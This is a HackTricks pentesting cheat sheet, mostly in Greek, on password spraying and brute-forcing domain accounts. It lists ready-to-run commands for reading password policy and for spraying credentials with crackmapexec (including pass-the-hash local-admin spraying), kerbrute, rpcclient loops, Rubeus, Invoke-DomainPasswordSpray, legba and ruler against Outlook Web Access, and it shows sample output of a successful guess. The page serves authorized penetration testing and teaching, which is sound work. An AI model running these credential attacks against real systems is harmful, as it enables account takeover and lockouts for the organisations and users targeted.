Password Spraying / Brute Force

Support HackTricks

Password Spraying

Μόλις βρείτε αρκετά έγκυρα ονόματα χρηστών, μπορείτε να δοκιμάσετε τους πιο συνηθισμένους κωδικούς πρόσβασης (κρατήστε υπόψη την πολιτική κωδικών πρόσβασης του περιβάλλοντος) με καθέναν από τους ανακαλυφθέντες χρήστες. Κατά προεπιλογή, το ελάχιστο μήκος κωδικού πρόσβασης είναι 7.

Λίστες με κοινά ονόματα χρηστών θα μπορούσαν επίσης να είναι χρήσιμες: https://github.com/insidetrust/statistically-likely-usernames

Σημειώστε ότι μπορείτε να κλειδώσετε κάποιους λογαριασμούς αν δοκιμάσετε αρκετούς λάθος κωδικούς πρόσβασης (κατά προεπιλογή περισσότερους από 10).

Get password policy

Αν έχετε κάποια διαπιστευτήρια χρήστη ή ένα shell ως χρήστης τομέα, μπορείτε να πάρετε την πολιτική κωδικών πρόσβασης με:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Εκμετάλλευση από Linux (ή όλα)

  • Χρησιμοποιώντας crackmapexec:

crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
  • Χρησιμοποιώντας kerbrute (Go)

# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (μπορείτε να υποδείξετε τον αριθμό των προσπαθειών για να αποφύγετε τις κλειδώματα):

spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Χρησιμοποιώντας kerbrute (python) - ΔΕΝ ΣΥΣΤΗΝΕΤΑΙ, ΜΕΡΙΚΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ

python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Με το module scanner/smb/smb_login του Metasploit:

  • Χρησιμοποιώντας το rpcclient:

# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Από τα Windows

  • Με την έκδοση Rubeus που περιέχει το brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Με το Invoke-DomainPasswordSpray (Μπορεί να δημιουργήσει χρήστες από το domain από προεπιλογή και θα πάρει την πολιτική κωδικών πρόσβασης από το domain και θα περιορίσει τις προσπάθειες σύμφωνα με αυτήν):

Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Outlook Web Access

Υπάρχουν πολλαπλά εργαλεία για password spraying outlook.

Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό / μια μικρή λίστα κωδικών για να ψεκάσετε.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Αναφορές

Υποστήριξη HackTricks

Last updated